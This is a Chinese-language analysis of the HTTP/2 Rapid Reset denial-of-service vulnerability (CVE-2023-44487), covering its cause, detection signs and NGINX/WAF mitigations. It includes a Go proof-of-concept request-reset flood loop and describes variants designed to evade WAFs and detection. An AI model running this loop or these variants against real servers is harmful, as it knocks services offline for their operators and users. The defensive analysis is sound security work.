CVE-2023-44487: HTTP/2 Rapid Reset (DDoS) 漏洞分析

0x00 漏洞背景与详情

  • 漏洞名称:HTTP/2 Rapid Reset(HTTP/2 快速重置攻击)
  • CVE 编号:CVE-2023-44487
  • 影响协议:HTTP/2
  • 危险等级:高危 (CVSS 7.5)
  • 影响组件:几乎所有支持 HTTP/2 的主流 Web 服务软件,包括 NGINX (1.10.0+)、Apache HTTP Server (2.4.17+)、Envoy、Go net/http、Node.js、.NET (Kestrel) 等。

CVE-2023-44487 是由 Google、Cloudflare 和 Amazon 于 2023 年 10 月共同披露的一种针对 HTTP/2 协议实现的 7 层分布式拒绝服务(DDoS)攻击。该漏洞利用了 HTTP/2 协议中流取消机制的逻辑缺陷,允许攻击者以极低的带宽成本发起前所未有规模的并发攻击。

0x01 漏洞原理分析

HTTP/2 协议为了提高传输效率,引入了**多路复用(Multiplexing)**机制,允许在单个 TCP 连接上并发处理多个请求(流)。为了防止资源耗尽,服务器会通过 SETTINGS_MAX_CONCURRENT_STREAMS 参数限制同时打开的流数量。

漏洞逻辑

  1. 发起请求:客户端发送大量的 HEADERS 帧(发起请求),消耗服务端的流配额。
  2. 快速重置:客户端立即针对刚才发起的流发送 RST_STREAM 帧(取消请求)。
  3. 缺陷所在:在许多 HTTP/2 的服务端实现中,流在被取消后会立即释放“最大并发流限制”的计数器,允许客户端继续在同一连接上发送新请求。但服务器在处理 HEADERS 帧(如解压 HPACK 头部、建立内部对象、触发日志逻辑等)时实际上已经消耗了 CPU 和内存。
  4. 攻击效果:攻击者可以在不触发服务器并发流限制的情况下,在单个 TCP 连接上以极高的速率无缝循环发送“请求-重置”指令。这会导致服务端迅速耗尽计算资源,从而造成拒绝服务。

0x02 漏洞 POC 与高级攻击变种

实战攻击脚本核心逻辑 (PoC Implementation)

攻击脚本通常使用 Go 或 C++ 编写,因为它们能直接操作原始 HTTP/2 帧。核心逻辑是在一个循环内不断递增 Stream ID 并发送“请求-重置”组合。

// 核心逻辑示例 (基于 golang.org/x/net/http2)
func rapidResetAttack(conn net.Conn, target string) {
    framer := http2.NewFramer(conn, conn)
    var streamID uint32 = 1

    for {
        // 1. 发送 HEADERS 帧 (发起请求)
        framer.WriteHeaders(http2.HeadersFrameParam{
            StreamID:      streamID,
            BlockFragment: encodeHeaders(target), // HPACK 编码
            EndStream:     true,
            EndHeaders:    true,
        })

        // 2. 立即发送 RST_STREAM 帧 (快速重置)
        // 错误码 NO_ERROR (0) 或 CANCEL (8) 均可触发
        framer.WriteRSTStream(streamID, http2.ErrCodeNo)

        // 3. 递增 Stream ID (HTTP/2 要求客户端流 ID 必须为奇数且递增)
        streamID += 2
        
        // 如果达到最大流 ID (2^31-1),则需要重新建立 TCP 连接
        if streamID > 2147483647 {
            break 
        }
    }
}

变种攻击方式与防御绕过 (Attack Variants)

除了最基础的“立即重置”,攻击者演化出了多种高级变种以应对初步的防御及 WAF 拦截:

  1. 延时重置 (Delayed Reset): 不立即发送 RST_STREAM,而是等待几毫秒或在收到服务端部分响应后再重置。这能迫使服务端将请求推入更深层的业务逻辑(如数据库查询、后端转发),造成更严重的后端资源枯竭,同时绕过某些仅基于极速重置检测的安全策略。
  2. HPACK 压力增强: 在 HEADERS 帧中使用大量动态索引表条目或构造极其复杂的头部。即使流被重置,服务端在解压 HPACK 头时的 CPU 开销也已经产生且无法挽回。
  3. 混合帧干扰 (Frame Interleaving): 在大量的 HEADERSRST_STREAM 序列中,穿插插入 PING 帧、SETTINGS 帧或 WINDOW_UPDATE 帧。这种方式旨在干扰 WAF 或安全设备的特征匹配和序列预测算法。
  4. 并发连接扇出 (Connection Rotation): 结合传统的僵尸网络(Botnet),在数千个并发 TCP 连接上同时执行 Rapid Reset,或者在单连接达到限制前主动断开重连,将 RPS(每秒请求数)推向亿级规模。

真实利用案例

  • 2023 年 8-10 月的大规模攻击: 漏洞被披露前,在野已经发生了史上最大规模的 DDoS 攻击:
    • Google 观测到了峰值达到 3.98 亿次请求/秒 (RPS) 的攻击,比之前记录大七倍。
    • Cloudflare 拦截了超过 2.01 亿 RPS 的攻击。
    • AWS 遭受了超过 1.55 亿 RPS 的攻击。

0x03 应急排查与日志痕迹分析建议

1. 监控特征分析

  • 资源异常飙升:Web 服务器进程(如 nginx worker)的 CPU 占用率极高甚至打满,但服务器整体入站带宽相对较小(因为 HEADERS 和 RST_STREAM 帧的数据量很小)。
  • 请求/重置比例失衡:在抓包(PCAP)分析中,可以观察到特定 TCP 连接上的 RST_STREAM 帧数量与 HEADERS 帧数量几乎达到 1:1 的完美对称。

2. 日志痕迹排查

  • Web 访问日志:由于流被快速重置,后端的完整响应通常未生成,因此普通的访问日志可能记录不全,或者出现大量的客户端中断状态码(如 Nginx 的 499 状态码)。
  • 高级 HTTP/2 监控: 如果部署了高级可观测性系统(如 Envoy/Istio 监控),应重点观察单连接上的 RST_STREAM 发送速率,并检查流的生命周期时长是否呈现极端异常的短时间。

0x04 修复与缓解建议

  1. 及时更新补丁(最核心): 各主流 Web 服务器厂商已发布了包含缓解逻辑的补丁。必须第一时间升级 NGINX、Apache、Tomcat 等中间件版本(例如 NGINX 更新引入了对快速重置攻击的平滑限制机制)。
  2. 限制单连接请求数: 在 NGINX 中,可以通过调整 keepalive_requests 或专门针对 HTTP/2 的 http2_max_requests 参数,强制 TCP 连接在达到一定请求数后关闭,增加攻击者重建连接的成本。
  3. 调整并发限制: 适当调低 SETTINGS_MAX_CONCURRENT_STREAMS,虽然不能完全阻止此类攻击,但可以减缓单连接下的资源消耗速度。
  4. WAF 与流量清洗: 依赖云厂商(如 Cloudflare、AWS、阿里云等)的 7 层清洗策略,识别并封禁在单个连接上呈现异常高频 RST_STREAM 行为的恶意 IP。

0x05 参考资料